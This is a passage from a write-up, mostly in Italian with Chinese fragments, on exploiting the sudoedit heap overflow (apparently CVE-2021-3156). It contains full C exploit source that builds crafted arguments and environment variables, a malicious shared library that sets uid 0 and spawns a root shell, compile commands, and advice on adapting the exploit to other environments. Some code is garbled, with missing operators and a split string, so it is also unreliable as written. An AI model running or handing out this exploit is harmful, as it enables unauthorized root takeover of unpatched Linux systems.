(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650
2x+y = 0xa0-0x10
Il principio della prima equazione è che, poiché l'input ha molteplici \\, ogni copia causa un overflow, e ogni overflow è di 1 byte in meno rispetto al precedente, quindi si sommano in una progressione aritmetica. Semplificando si ottiene:```
(x+y)+(x+2y+1)·x/2=0x650
2x+y = 0x90
Da parte mia, ho risolto:```
x=11
y=121
Infine, la lunghezza che può essere overflow tramite il parametro sudoedit è 0x5f9, la parte restante può essere completata con \\ nelle variabili d'ambiente. Le variabili d'ambiente vengono copiate una sola volta. Quando si sovrascrive la struttura, notare che la stringa del nome della libreria condivisa si trova all'offset 0x30 della struttura; tutti gli elementi della struttura prima della stringa devono essere sovrascritti con \x00 . (Questa parte non verrà approfondita, costruire un payload di overflow di lunghezza adeguata non è molto tecnico, qui fornisco principalmente un metodo di calcolo rapido generale)
Quindi compilare la libreria condivisa falsificata; qui, le funzioni compilate direttamente con la macro attribute verranno eseguite automaticamente quando il binario viene caricato, cioè il costruttore. L'exploit è il seguente:
Nel mio ambiente di debug, l'exploit è il seguente:```c #include<stdio.h> #include<string.h> #include<stdlib.h> #include<math.h>
#define __LC_CTYPE 0 #define __LC_NUMERIC 1 #define __LC_TIME 2 #define __LC_COLLATE 3 #define __LC_MONETARY 4 #define __LC_MESSAGES 5 #define __LC_ALL 6 #define __LC_PAPER 7 #define __LC_NAME 8 #define __LC_ADDRESS 9 #define __LC_TELEPHONE 10 #define __LC_MEASUREMENT 11 #define __LC_IDENTIFICATION 12
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
int now=13; int envnow=0; int argvnow=0; char * envp[0x300]; char * argv[0x300]; char * addChunk(int size) { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(size+0x20); strcpy(result,envName[now]); strcat(result,"=C.UTF-8@"); for(int i=9;i<=size-0x17;i++) strcat(result,"A"); envp[envnow++]=result; } return result; }
void final() { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(0x100); strcpy(result,envName[now]); strcat(result,"=xxxxxxxxxxxxxxxxxxxxx"); envp[envnow++]=result; } }
int setargv(int size,int offset) { size-=0x10; signed int x,y; signed int a=-3; signed int b=2size-3; signed int c=2size-2-offset2; signed int tmp=bb-4ac; if(tmp<0) return -1; tmp=(signed int)sqrt((double)tmp1.0); signed int A=(0-b+tmp)/(2a); signed int B=(0-b-tmp)/(2a); if(A<0 && B<0) return -1; if((A>0 && B<0) || (A<0 && B>0)) x=(A>0) ? A: B; if(A>0 && B > 0) x=(A<B) ? A : B; y=size-1-x2; int len=x+y+(x+y+y+1)*x/2;
while ((signed int)(offset-len)<2)
{
x--;
y=size-1-x*2;
len=x+y+(x+y+1)*x/2;
if(x<0)
return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
Astring[i]='A';
Astring[i]='\x00';
argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;
}
int main() { setargv(0xa0,0x650); addChunk(0x40); addChunk(0x40); addChunk(0xa0); addChunk(0x40); final();
execve("/usr/local/bin/sudoedit",argv,envp);
}
lib.c è come segue:```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
#endif
}
Comando di compilazione:```sh mkdir libnss_X gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2 gcc exp.c -o exp
成功:
image-20220123115529219
### Metodo per modificare l'exploit per ambienti specifici
Principalmente per facilitare la propria ricerca e debugging, non per attacchi reali. Per attacchi reali si consiglia comunque il brute force. È necessario conoscere i seguenti punti in base all'ambiente:
1. Dimensione controllabile di vuln, cioè il free tcache lasciato in setlocale, che non viene consumato prima che venga richiesto vuln. Bisogna trovare una dimensione adatta (corrispondente a 0xa0 nel mio exploit).
2. Dove posizionare vuln, cioè quanti chunk da 0x40 prima e dopo il chunk vuln (corrispondente alla funzione addChunk nella mia funzione main dell'exploit).
3. Distanza dal target chunk al vuln chunk, cioè target chunk addr - vuln chunk addr (corrispondente a 0x650 nel mio exploit).
Modificando i tre punti sopra, con alta probabilità si riesce direttamente.
## Fattori che influenzano lo sfruttamento della vulnerabilità
I fattori che influenzano il layout dell'heap sono molti. Per la stessa versione di sudo, diverse opzioni di compilazione causano cambiamenti nel layout dell'heap (se vengono aggiunte o rimosse funzioni che partecipano all'allocazione dell'heap prima dell'overflow, molto probabilmente il layout dell'heap cambierà).
Il layout dell'heap di sudo della distribuzione è diverso da quello della propria versione compilata.
Anche differenze nei file di configurazione globale di sudo influenzano.
Anche file generici come passwd influenzano.
Anche differenze nel file nsswitch.conf influenzano.
Versione di glibc.
Altri ambienti globali (o file di ambiente).
## Misure di mitigazione
Aggiornare all'ultima versione.
## Alcuni comandi di debug```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程
Visualizza la struttura service_table``` p service_table p * service_table p * service_table -> entry p * service_table -> entry -> next p * service_table -> entry -> next -> service ···
Visualizza la prima chiamata della funzione nss dopo l'overflow dell'heap, prima interrompi nel punto dell'overflow:```
b policy_check #先断离溢出点比较近的位置,直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library
c #断nss_load_library
bt #查看调用栈
Alcune funzioni chiave e codice in uscita``` directory /root/glibc-2.27/ directory /root/glibc-2.27/nss/ directory /root/glibc-2.27/elf/ directory /root/glibc-2.27/locale/
b setlocale b nss_parse_file b nss_load_library
## Riferimenti
Blog di un esperto interno all'azienda
52破解博客: https://www.52pojie.cn/thread-1439734-1-1.html
blasty's POC: https://github.com/blasty/CVE-2021-3156